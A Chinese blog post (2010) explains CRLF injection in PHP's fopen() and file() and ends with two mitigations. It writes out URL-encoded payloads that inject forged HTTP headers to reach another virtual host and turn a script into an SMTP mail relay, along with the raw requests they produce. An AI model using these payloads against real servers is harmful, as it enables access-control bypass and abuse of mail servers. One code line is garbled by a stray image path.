注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

冷月寒星

 
 
 

日志

 
 

CRLF Injection 攻击{详}  

2010-08-09 13:24:40|  分类: PHP&PYTHON |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
PHP 的 fopen(), file() 及其它函数存在一个缺陷,即用户随意地添加额外HTTP报头信息到HTTP请求数据包中。攻击者可以利用此缺陷绕过服务器的安全限制,进行非法访问。在某些情况下,这个缺陷甚至可以打开任意的网络连接,在代理端执行PHP脚本和打开邮件转发。 

PHP 有一些函数用文件名(如:fopen(), file()等)作为它们的参数。如果在php.ini中allow_url_fopen被设置为打开的,这些函数也允许以接受URL来替代接收文件,并且用正确的协议连接到服务器。那么这些函数将很容易遭到 CRLF Injection 攻击。 

1)我们开始一个简单的攻击。下面这段PHP代码被保存并取名为snippet.php: 
<?php 

echo ’
’; 

print_r(file("http://www.site1.st/api?sunnan=$sunnan&vind=$vind"/images/wink.gif);

echo ’
’; 

?> 
如果攻击者这样发送: 
snippet.php?sunnan=visby&vind=gotland%20HTTP 
/1.0%0D%0AHost%3A%20www.site2.st%0D%0AUser-A 
gent%3A%20Ulf/0.0%0D%0AReferer%3A%20http%3A 
%2F%2Fwww.gnuheter.org%2F%0D%0ACookie%3A%20u 
ser%3Dulf%0D%0A%0D%0A 
(必须在一行上) 

这个 HTTP 请求将被发送给 www.site1.st: 
GET /api?sunnan=visby&vind=gotland HTTP/1.0 
Host: www.site2.st 
User-Agent: Ulf/0.0 
Referer: http://www.gnuheter.org/ 
Cookie: user=ulf 

HTTP/1.0 
Host: www.site1.st 
User-Agent: PHP/4.1.2 
你可以看到,真实的PHP头信息被正确发送,但被服务器忽略了,因为在它们指向的报头结束之前我们发送两个CRLF。 

利用此缺陷,攻击者能够任意添加用户代理(user agent),referers 和 cookies。如果站点1和站点2是同一台服务器上的虚拟主机,即使snippet.php有限制,攻击者也能绕过其限制非法访问站点2。 

2) 如果PHP脚本是精心构建的,像下面这个叫 dotcom.php 的脚本: 
<?php 

$fp = fopen($url, ’r’); 
fpassthru($fp); 

?> 
将能连接到任意的端口,并发送任意指令,在代理端执行PHP脚本和打开邮件转发。 

如果攻击者这样发送: 
dotcom.php?url=http%3A%2F%2Fmail.site1 
.st%3A25%2F+HTTP/1.0%0D%0AHELO+my.own. 
machine%0D%0AMAIL+FROM%3A%3Cme%40my.ow 
n.machine%3E%0D%0ARCPT+TO%3A%3Cinfo%40s 
ite1.st%3E%0D%0ADATA%0D%0Ai+will+never+ 
say+the+word+PROCRASTINATE+again%0D%0A. 
%0D%0AQUIT%0D%0A%0D%0A 
(必须在一行上) 

PHP 解释器将连接到 mail.site1.st:25,并且发送下面的指令: 
GET / HTTP/1.0 
HELO my.own.machine 
MAIL FROM:<me@my.own.machine> 
RCPT TO:<info@site1.st> 
DATA 
i will never say the word PROCRASTINATE again 

QUIT 

HTTP/1.0 
Host: mail.site1.st:25 
User-Agent: PHP/4.1.2 

Both PHP and the MTA will complain, but the mail is still sent. 

临时解决方案 : 

* 通过在PHP脚本中嵌入如下指令,确保所有这种类型的URL变量在使用时已被清空: 
$var = preg_replace(’/\\s+/’, ’, $var); 
* 如果你的脚本不需要访问URLs,建议在php.ini中关闭allow_url_fopen 。   CRLF Injection 攻击{详} - lai66192 - 冷月寒星
  评论这张
 
阅读(177)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2018